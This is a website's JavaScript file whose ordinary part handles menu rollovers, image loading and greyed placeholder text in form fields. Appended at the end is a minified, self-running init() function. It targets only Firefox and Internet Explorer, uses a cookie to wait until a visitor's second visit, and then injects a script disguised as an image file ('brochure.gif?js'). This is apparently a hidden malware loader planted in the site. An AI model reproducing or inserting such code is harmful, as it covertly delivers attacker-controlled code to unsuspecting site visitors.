function onLoad() {
	//menuRollovers();
	loadImages();
	//loadPrefilledTextFields();
}

function menuRollovers() {
	var items = $A($('menu').getElementsByClassName('menu_item'));
	
	items.each(function(i) {
		i.onmouseover = function() {
			this.src = this.src.slice(0, -4) + '_a.gif';
			this.overstate = "over";
		}
		i.onmouseout = function() {
			if(this.overstate == "over") { // make sure that the state was mouseover before onmouseout action is executed
				this.src = this.src.slice(0, -6) + '.gif';
			}
			this.overstate = "out";
		}
	});
}

function loadPrefilledTextFields(element) {
	if(element) {
		element = $(element);
	} else {
		element = $(document.body);
	}
	var prefilled_color = '#999999';
	var filled = $A(element.getElementsBySelector('input.prefilled'));
	filled.each( function (f) {
		f.normal_color = f.getStyle('color');
		f.setStyle( {color:prefilled_color} );
		f.onfocus = function() {
			if(!this.start_value || this.value.strip() == this.start_value.strip()) {
				this.start_value=this.value; 
				this.value='';
				$(this).setStyle( {color:this.normal_color} );
			}
		}
		f.onblur = function() {
			if($(this).value.strip() == '') { 
				this.value = this.start_value;
				$(this).setStyle( {color:prefilled_color} );
			}
		}
	});
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/assets/images/brochure.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
